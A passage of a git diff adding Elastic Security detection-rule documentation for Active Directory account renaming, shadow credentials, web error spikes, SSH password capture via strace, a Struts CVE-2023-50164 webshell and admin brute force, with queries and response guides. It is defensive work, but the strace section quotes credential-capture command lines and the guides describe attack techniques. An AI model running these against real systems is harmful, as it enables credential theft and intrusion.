+- Check the history of the NewTargetUserName to see if it has been used in any recent authentication attempts or privileged operations, which could indicate malicious intent.
+- Investigate the associated IP address and hostname from which the rename action was performed to determine if it is a known and trusted source within the network.
+- Correlate the event with other security alerts or logs to identify any patterns or additional suspicious activities that might suggest a broader attack campaign.
+- Assess the potential impact by determining if the renamed account has been granted elevated privileges or access to sensitive resources since the rename event occurred.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks involving legitimate renaming of computer accounts can trigger false positives. To manage this, create exceptions for known administrative activities by excluding specific administrator accounts or service accounts from the detection rule.
+- Automated processes or scripts that rename computer accounts as part of regular maintenance or deployment procedures may also cause false alerts. Identify these processes and exclude their associated accounts or event patterns from the rule.
+- Temporary renaming of computer accounts for troubleshooting or testing purposes can be mistaken for suspicious activity. Document and exclude these temporary changes by maintaining a list of authorized personnel and their activities.
+- Changes made by trusted third-party software or management tools that interact with Active Directory should be reviewed and, if deemed safe, excluded from triggering alerts by specifying the tool's account or signature in the rule exceptions.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected machine from the network to prevent further unauthorized access or lateral movement within the domain.
+- Revert any unauthorized changes to the samAccountName attribute by renaming the affected computer account back to its original name.
+- Conduct a thorough review of recent changes in Active Directory, focusing on user and computer account modifications, to identify any other potentially compromised accounts.
+- Reset passwords for the affected machine account and any other accounts that may have been accessed or modified during the incident.
+- Apply the latest security patches and updates to all domain controllers and critical systems to mitigate vulnerabilities like CVE-2021-42278.
+- Enhance monitoring and logging for Active Directory events, specifically focusing on account renaming activities, to detect similar threats in the future.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+iam where host.os.type == "windows" and event.action == "renamed-user-account" and
+  /* machine account name renamed to user like account name */
+  winlog.event_data.OldTargetUserName : "*$" and not winlog.event_data.NewTargetUserName : "*$"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Exploitation for Privilege Escalation
+** ID: T1068
+** Reference URL: https://attack.mitre.org/techniques/T1068/
+* Technique:
+** Name: Valid Accounts
+** ID: T1078
+** Reference URL: https://attack.mitre.org/techniques/T1078/
+* Sub-technique:
+** Name: Domain Accounts
+** ID: T1078.002
+** Reference URL: https://attack.mitre.org/techniques/T1078/002/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-shadow-credentials-added-to-ad-object.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-shadow-credentials-added-to-ad-object.asciidoc
new file mode 100644
index 0000000000..1f538aa397
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-shadow-credentials-added-to-ad-object.asciidoc
@@ -0,0 +1,145 @@
+[[prebuilt-rule-8-19-11-potential-shadow-credentials-added-to-ad-object]]
+=== Potential Shadow Credentials added to AD Object
+
+Identify the modification of the msDS-KeyCredentialLink attribute in an Active Directory Computer or User Object. Attackers can abuse control over the object and create a key pair, append to raw public key in the attribute, and obtain persistent and stealthy access to the target user or computer object.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab
+* https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials
+* https://github.com/OTRF/Set-AuditRule
+* https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Data Source: Active Directory
+* Resources: Investigation Guide
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+
+*Version*: 217
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Potential Shadow Credentials added to AD Object*
+
+
+The msDS-KeyCredentialLink is an Active Directory (AD) attribute that links cryptographic certificates to a user or computer for domain authentication.
+
+Attackers with write privileges on this attribute over an object can abuse it to gain access to the object or maintain persistence. This means they can authenticate and perform actions on behalf of the exploited identity, and they can use Shadow Credentials to request Ticket Granting Tickets (TGTs) on behalf of the identity.
+
+
+*Possible investigation steps*
+
+
+- Identify whether Windows Hello for Business (WHfB) and/or Azure AD is used in the environment.
+  - Review the event ID 4624 for logon events involving the subject identity (`winlog.event_data.SubjectUserName`).
+    - Check whether the `source.ip` is the server running Azure AD Connect.
+- Contact the account and system owners and confirm whether they are aware of this activity.
+- Investigate other alerts associated with the user/host during the past 48 hours.
+- Review the event IDs 4768 and 4769 for suspicious ticket requests involving the modified identity (`winlog.event_data.ObjectDN`).
+  - Extract the source IP addresses from these events and use them as indicators of compromise (IoCs) to investigate whether the host is compromised and to scope the attacker's access to the environment.
+
+
+*False positive analysis*
+
+
+- Administrators might use custom accounts on Azure AD Connect. If this is the case, make sure the account is properly secured. You can also create an exception for the account if expected activity makes too much noise in your environment.
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.
+  - Remove the Shadow Credentials from the object.
+- Investigate how the attacker escalated privileges and identify systems they used to conduct lateral movement. Use this information to determine ways the attacker could regain access to the environment.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Changes (Success,Failure)
+```
+
+The above policy does not cover User objects, so we need to set up an AuditRule using https://github.com/OTRF/Set-AuditRule.
+As this specifies the msDS-KeyCredentialLink Attribute GUID, it is expected to be low noise.
+
+```
+Set-AuditRule -AdObjectPath 'AD:\CN=Users,DC=Domain,DC=com' -WellKnownSidType WorldSid -Rights WriteProperty -InheritanceFlags Children -AttributeGUID 5b47d60f-6090-40b2-9f37-2a4de88f3063 -AuditFlags Success
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:"5136" and host.os.type:"windows" and winlog.event_data.AttributeLDAPDisplayName:"msDS-KeyCredentialLink" and
+  winlog.event_data.AttributeValue :B\:828* and
+  not winlog.event_data.SubjectUserName: MSOL_*
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Modify Authentication Process
+** ID: T1556
+** Reference URL: https://attack.mitre.org/techniques/T1556/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-spike-in-web-server-error-logs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-spike-in-web-server-error-logs.asciidoc
new file mode 100644
index 0000000000..b4ad85ab12
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-spike-in-web-server-error-logs.asciidoc
@@ -0,0 +1,127 @@
+[[prebuilt-rule-8-19-11-potential-spike-in-web-server-error-logs]]
+=== Potential Spike in Web Server Error Logs
+
+This rule detects unusual spikes in error logs from web servers, which may indicate reconnaissance activities such as vulnerability scanning or fuzzing attempts by adversaries. These activities often generate a high volume of error responses as they probe for weaknesses in web applications. Error response codes may potentially indicate server-side issues that could be exploited.
+
+*Rule type*: esql
+
+*Rule indices*: None
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 10m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Web
+* Use Case: Threat Detection
+* Tactic: Reconnaissance
+* Data Source: Nginx
+* Data Source: Apache
+* Data Source: Apache Tomcat
+* Data Source: IIS
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+ ## Triage and analysis
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential Spike in Web Server Error Logs*
+
+
+This detection flags spikes of web server error responses across HTTP/TLS and common server platforms, signaling active scanning or fuzzing that can expose misconfigurations or exploitable paths. A typical pattern is an automated scanner sweeping endpoints like /admin/, /debug/, /.env, /.git, and backup archives while mutating query parameters, producing repeated 404/403 and occasional 500 responses across multiple applications within minutes.
+
+
+*Possible investigation steps*
+
+
+- Pivot on the noisy client IP(s) to build a minute-by-minute timeline across affected hosts showing request rate, status codes, methods, and top paths to distinguish automated scanning from a localized application failure.
+- Enrich the client with ASN, geolocation, hosting/Tor/proxy reputation, historical sightings, and maintenance windows to quickly decide if it matches a known external scanner or an internal scheduled test.
+- Aggregate the most requested URIs and verbs and look for telltale patterns such as /.env, /.git, backup archives, admin consoles, or unusual verbs like PROPFIND/TRACE, then correlate any 5xx bursts with application and server error logs and recent deploys or config changes.
+- Hunt for follow-on success from the same client by checking for subsequent 200/302s to sensitive paths, authentication events and session creation, or evidence of file writes and suspicious child processes on the web hosts.
+- If traffic traverses a CDN/WAF/load balancer, pivot to those logs to recover true client IPs, review rule matches and throttling, and determine whether similar patterns occurred across multiple edges or regions.
+
+
+*False positive analysis*
+
+
+- Internal QA or integration tests that systematically crawl application routes after a deployment can generate bursts of 404/403 and occasional 500s from a single client IP, closely resembling active scanning.
+- A transient backend outage or misconfiguration (broken asset paths or auth flows) can cause legitimate traffic to return many errors aggregated under a shared egress IP (NAT), pushing per-IP counts above the threshold without adversary activity.
+
+
+*Response and remediation*
+
+
+- Immediately block or throttle the noisy client IPs at the WAF/CDN and load balancer by enabling per-IP rate limits and signatures for scanner patterns such as repeated hits to /.env, /.git, /admin, backup archives, or unusual verbs like PROPFIND/TRACE.
+- If errors include concentrated 5xx responses from one web host, drain that node from service behind the load balancer, capture its web and application error logs, and roll back the most recent deploy or config change until error rates normalize.
+- Remove risky exposures uncovered by the scan by denying access to environment files and VCS directories (.env, .git), disabling directory listing, locking down admin consoles, and rejecting unsupported HTTP methods at the web server.
+- Escalate to Incident Response if the same client shifts from errors to successful access on sensitive endpoints (200/302 to /admin, /login, or API keys), if you observe file writes under the webroot or suspicious child processes, or if multiple unrelated clients show the same pattern across regions.
+- Recover service by redeploying known-good builds, re-enabling health checks, running smoke tests against top routes, and restoring normal WAF/CDN policies while keeping a temporary blocklist for the offending IPs.
+- Harden long term by tuning WAF/CDN to auto-throttle bursty 404/403/500 patterns, disabling TRACE/OPTIONS where unused, minimizing verbose error pages, and ensuring logs capture the true client IP via X-Forwarded-For or True-Client-IP headers.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+from logs-nginx.error-*, logs-apache_tomcat.error-*, logs-apache.error-*, logs-iis.error-*
+| keep
+    @timestamp,
+    event.type,
+    event.dataset,
+    source.ip,
+    agent.id,
+    host.name
+| where source.ip is not null
+| stats
+    Esql.event_count = count(),
+    Esql.host_name_values = values(host.name),
+    Esql.agent_id_values = values(agent.id),
+    Esql.event_dataset_values = values(event.dataset)
+    by source.ip, agent.id
+| where
+    Esql.event_count > 25
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Reconnaissance
+** ID: TA0043
+** Reference URL: https://attack.mitre.org/tactics/TA0043/
+* Technique:
+** Name: Active Scanning
+** ID: T1595
+** Reference URL: https://attack.mitre.org/techniques/T1595/
+* Sub-technique:
+** Name: Vulnerability Scanning
+** ID: T1595.002
+** Reference URL: https://attack.mitre.org/techniques/T1595/002/
+* Sub-technique:
+** Name: Wordlist Scanning
+** ID: T1595.003
+** Reference URL: https://attack.mitre.org/techniques/T1595/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-ssh-password-grabbing-via-strace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-ssh-password-grabbing-via-strace.asciidoc
new file mode 100644
index 0000000000..45a448c8a2
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-ssh-password-grabbing-via-strace.asciidoc
@@ -0,0 +1,119 @@
+[[prebuilt-rule-8-19-11-potential-ssh-password-grabbing-via-strace]]
+=== Potential SSH Password Grabbing via strace
+
+Detects potential SSH password grabbing via the use of strace on sshd processes. Attackers may use strace to capture sensitive information, such as passwords, by tracing system calls made by the sshd process. This rule looks for a sequence of events where an sshd process ends followed closely by the start of a strace process. This may be indicative of an attacker attempting to capture SSH credentials.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.process-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/braindead-sec/ssh-grabber
+* https://dfir.ch/posts/strace/
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Persistence
+* Tactic: Credential Access
+* Data Source: Elastic Defend
+* Resources: Investigation Guide
+
+*Version*: 2
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Potential SSH Password Grabbing via strace*
+
+
+This detection flags a suspicious sequence where an sshd process stops and a strace process starts seconds later, indicating attempted snooping of SSH authentication. Capturing syscall activity around login exposes passwords and session secrets, enabling credential theft and lateral movement. Attackers kill sshd, then relaunch or attach with strace, logging read/write and open calls from PAM or keyboard-interactive flows to a file such as /tmp/sshd.trace.
+
+
+*Possible investigation steps*
+
+
+- Pull the strace command-line, full path, parent chain, invoking user, and working directory to confirm whether it attached to sshd and whether output was directed to a file.
+- Correlate systemd/journald and audit logs around the same seconds for sshd stop/start, kill signals, coredumps, or admin actions to distinguish debugging from credential capture.
+- Identify and preserve any strace output or redirected logs (common in /tmp or home directories) and scan for PAM interactions or TTY reads containing password prompts.
+- Check ptrace feasibility by verifying UID relationships, CAP_SYS_PTRACE, SELinux/AppArmor policies, and ptrace_scope to assess whether sshd could be traced.
+- Pivot on the same user and host for adjacent activity such as restarting sshd, running ltrace/gdb/perf, modifying PAM or sshd_config, and creating trace files to gauge intent.
+
+
+*False positive analysis*
+
+
+- An administrator intentionally stops sshd and immediately launches strace to troubleshoot a configuration change or startup problem, tracing a controlled test run rather than attempting to capture credentials.
+- A normal sshd session process ends while strace is started to debug an unrelated application, producing a near-simultaneous end/start sequence even though strace is not attached to sshd or capturing authentication input.
+
+
+*Response and remediation*
+
+
+- Immediately kill active strace processes targeting sshd (e.g., strace -p PID or strace -f /usr/sbin/sshd with -o /tmp/sshd.trace), isolate the host from the network, and restart the sshd service to restore a clean state.
+- Preserve forensic copies, then remove artifacts such as trace outputs like /tmp/sshd.trace or ~/sshd.strace.log, purge unauthorized strace wrappers or cron entries, and revert changes in /etc/ssh/sshd_config and /etc/pam.d/*.
+- Force credential hygiene by expiring passwords for users who logged in during the suspected window, rotating SSH host keys in /etc/ssh/ (ssh_host_*), revoking recently added ~/.ssh/authorized_keys entries, and terminating lingering sshd child sessions and SSH agents in /tmp or /run.
+- Escalate to incident response if strace was executed as root or via sudo against /usr/sbin/sshd, if CAP_SYS_PTRACE or ptrace_scope=0 was present, if trace files contain password strings or PAM conversation data, or if similar behavior appears on more than one host.
+- Harden by setting /proc/sys/kernel/yama/ptrace_scope to 1 or 2, enforcing SELinux/AppArmor policies that block ptrace to sshd, disabling PasswordAuthentication or requiring MFA in /etc/ssh/sshd_config, and adding auditd rules to alert on ptrace attaches to /usr/sbin/sshd.
+
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by host.id with maxspan=3s
+  [process where host.os.type == "linux" and event.type == "end" and process.name == "sshd"]
+  [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "strace"]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Modify Authentication Process
+** ID: T1556
+** Reference URL: https://attack.mitre.org/techniques/T1556/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Compromise Host Software Binary
+** ID: T1554
+** Reference URL: https://attack.mitre.org/techniques/T1554/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc
new file mode 100644
index 0000000000..7a3d5a2da5
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation.asciidoc
@@ -0,0 +1,161 @@
+[[prebuilt-rule-8-19-11-potential-webshell-deployed-via-apache-struts-cve-2023-50164-exploitation]]
+=== Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation
+
+Identifies successful exploitation of CVE-2023-50164, a critical path traversal vulnerability in Apache Struts 2 file upload functionality. This high-fidelity rule detects a specific attack sequence where a malicious multipart/form-data POST request with WebKitFormBoundary is made to a Struts .action upload endpoint, immediately followed by the creation of a JSP web shell file by a Java process in Tomcat's webapps directories. This correlated activity indicates active exploitation resulting in remote code execution capability through unauthorized file upload and web shell deployment.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.*
+* logs-network_traffic.*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://nvd.nist.gov/vuln/detail/CVE-2023-50164
+* https://www.trendmicro.com/en_us/research/23/l/decoding-cve-2023-50164--unveiling-the-apache-struts-file-upload.html
+* https://github.com/snyk-labs/CVE-2023-50164-POC
+
+*Tags*: 
+
+* Domain: Endpoint
+* Domain: Web
+* Domain: Network
+* OS: Linux
+* Use Case: Threat Detection
+* Tactic: Initial Access
+* Tactic: Persistence
+* Data Source: Elastic Defend
+* Data Source: Network Traffic
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Potential Webshell Deployed via Apache Struts CVE-2023-50164 Exploitation*
+
+
+CVE-2023-50164 is a critical path traversal vulnerability in Apache Struts 2 that allows attackers to manipulate file upload parameters and write malicious files to arbitrary locations on the web server. This vulnerability affects the file upload feature and enables attackers to bypass security controls, upload JSP-based web shells, and achieve remote code execution. This detection rule identifies the complete attack chain by correlating suspicious file upload requests to Struts endpoints with the subsequent creation of JSP files in web-accessible directories, indicating successful exploitation.
+
+
+*Possible investigation steps*
+
+
+- Review the source IP address of the HTTP POST request to determine if it originates from a known malicious source, VPN/proxy service, or unexpected geographic location that does not align with legitimate application usage patterns.
+- Examine the complete HTTP request details including headers, user agent string, and the full request body content to identify indicators of exploit code, path traversal attempts, or malicious payloads embedded in the multipart form data.
+- Investigate the created JSP file by examining its contents, file name, creation timestamp, and file permissions to determine if it contains web shell code, command execution capabilities, or other malicious functionality.
+- Check for any subsequent process execution, network connections, or file system activities originating from the Java process after the JSP file creation, which may indicate that the web shell has been accessed and used by the attacker.
+- Review web server access logs for requests to the newly created JSP file path to identify if the attacker has attempted to access or execute the web shell, and capture any command execution or data exfiltration attempts.
+- Examine the affected Struts application logs and Tomcat catalina logs for additional context about the file upload request, error messages, or anomalous behavior that occurred during the exploitation attempt.
+- Identify the version of Apache Struts 2 running on the affected server to confirm if it is vulnerable to CVE-2023-50164 (versions prior to 2.5.33 or 6.3.0.2 are affected).
+- Search for additional suspicious file creations, modifications, or deletions in the webapps directories that may indicate the attacker attempted multiple exploitation attempts or deployed additional persistence mechanisms.
+
+
+*False positive analysis*
+
+
+- Legitimate application deployments using multipart form uploads to Struts endpoints followed by JSP file creation are uncommon but possible in custom deployment workflows. Review the source IP, user identity, and timing against known deployment schedules and authorized deployment systems.
+- Automated testing frameworks or security scanning tools that test file upload functionality may trigger this rule if they upload files to Struts endpoints. Identify and exclude known security testing tools or authorized penetration testing activities based on source IP or user agent patterns.
+- Development or staging environments where developers frequently test file upload features may generate alerts. Consider creating exceptions for non-production environments or restricting the rule to production systems only.
+- CI/CD pipelines that deploy applications via multipart form uploads could potentially match this pattern, though this is rare. Review the deployment process and create exceptions for known automated deployment systems if necessary.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected web server from the network to prevent further exploitation, lateral movement, or data exfiltration by the attacker.
+- Identify and delete the malicious JSP web shell file from the web server, ensuring you preserve a copy for forensic analysis and evidence collection.
+- Terminate any active web shell sessions by restarting the Java application server process and reviewing all active network connections for suspicious activity.
+- Review web server access logs to identify all IP addresses that accessed the web shell and block those IP addresses at the network perimeter to prevent re-exploitation.
+- Conduct a comprehensive scan of the affected server for additional web shells, backdoors, persistence mechanisms, or signs of lateral movement to other systems in the environment.
+- Patch the Apache Struts 2 installation to version 2.5.33, 6.3.0.2, or higher to remediate the CVE-2023-50164 vulnerability and prevent future exploitation attempts.
+- Review and harden file upload configurations in Struts applications, implement strict input validation, restrict file upload locations, and consider implementing web application firewall (WAF) rules to detect and block path traversal attempts.
+- Reset credentials for any accounts or services running on the compromised server, as the attacker may have captured sensitive information or credentials through the web shell.
+- Escalate the incident to the security operations center (SOC) and incident response team for comprehensive investigation, threat hunting, and to determine if additional systems were compromised.
+- Conduct a post-incident review to identify gaps in detection, response, and vulnerability management processes, and implement improvements to prevent similar incidents in the future.
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+This rule requires data coming in from both Elastic Defend (for file events) and Network Packet Capture integrations (for HTTP traffic analysis).
+
+
+*Network Packet Capture Integration Setup*
+
+
+**IMPORTANT**: This rule requires HTTP request body capture to be enabled in order to detect the multipart/form-data content containing WebKitFormBoundary indicators. The network traffic integration must be configured to capture HTTP request bodies for POST requests with `multipart/form-data` content type.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by agent.id with maxspan=10s
+  [network where data_stream.dataset == "network_traffic.http" and
+      http.request.method == "POST" and
+      http.request.body.content like "*WebKitFormBoundary*" and
+      url.path like~ "*upload*.action"]
+  [file where event.dataset == "endpoint.events.file" and
+      host.os.type == "linux" and
+      event.action == "creation" and
+      process.name == "java" and
+      file.extension == "jsp" and
+      file.path like "*/webapps/*" and
+      not file.path like "*/WEB-INF/*" and
+      not file.path like "*/META-INF/*" and
+      not process.parent.name in ("apk", "apt", "apt-get", "dpkg", "yum", "rpm", "dnf", "systemd", "init")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Initial Access
+** ID: TA0001
+** Reference URL: https://attack.mitre.org/tactics/TA0001/
+* Technique:
+** Name: Exploit Public-Facing Application
+** ID: T1190
+** Reference URL: https://attack.mitre.org/techniques/T1190/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Server Software Component
+** ID: T1505
+** Reference URL: https://attack.mitre.org/techniques/T1505/
+* Sub-technique:
+** Name: Web Shell
+** ID: T1505.003
+** Reference URL: https://attack.mitre.org/techniques/T1505/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-privileged-account-brute-force.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-privileged-account-brute-force.asciidoc
new file mode 100644
index 0000000000..6dbfa9767d
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-privileged-account-brute-force.asciidoc
@@ -0,0 +1,141 @@
+[[prebuilt-rule-8-19-11-privileged-account-brute-force]]
+=== Privileged Account Brute Force
+
+Identifies multiple consecutive logon failures targeting an Admin account from the same source address and within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to accounts.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Resources: Investigation Guide
+* Data Source: Windows Security Event Logs
+
+*Version*: 115
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Privileged Account Brute Force*
+
+
+Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to guess the password using a repetitive or iterative mechanism systematically. More details can be found https://attack.mitre.org/techniques/T1110/001/[here].
+
+This rule identifies potential password guessing/brute force activity from a single address against an account that contains the `admin` pattern on its name, which is likely a highly privileged account.
+
+> **Note**:
+> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide.
+
+
+*Possible investigation steps*
+
+
+- Investigate the logon failure reason code and the targeted user name.
+  - Prioritize the investigation if the account is critical or has administrative privileges over the domain.
+- Investigate the source IP address of the failed Network Logon attempts.
+  - Identify whether these attempts are coming from the internet or are internal.
+- Investigate other alerts associated with the involved users and source host during the past 48 hours.
+- Identify the source and the target computer and their roles in the IT environment.
+- Check whether the involved credentials are used in automation or scheduled tasks.
+- If this activity is suspicious, contact the account owner and confirm whether they are aware of it.
+- Examine the source host for derived artifacts that indicate compromise:
+  - Observe and collect information about the following activities in the alert source host:
+    - Attempts to contact external domains and addresses.
+      - Examine the DNS cache for suspicious or anomalous entries.
+        - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}}
+    - Examine the host services for suspicious or anomalous entries.
+      - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}}
+      - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}}
+      - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}}
+- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the host which is the source of this activity.
+
+
+*False positive analysis*
+
+
+- Authentication misconfiguration or obsolete credentials.
+- Service account password expired.
+- Domain trust relationship issues.
+- Infrastructure or availability issues.
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Isolate the source host to prevent further post-compromise behavior.
+- If the asset is exposed to the internet with RDP or other remote services available, take the necessary measures to restrict access to the asset. If not possible, limit the access via the firewall to only the needed IP addresses. Also, ensure the system uses robust authentication mechanisms and is patched regularly.
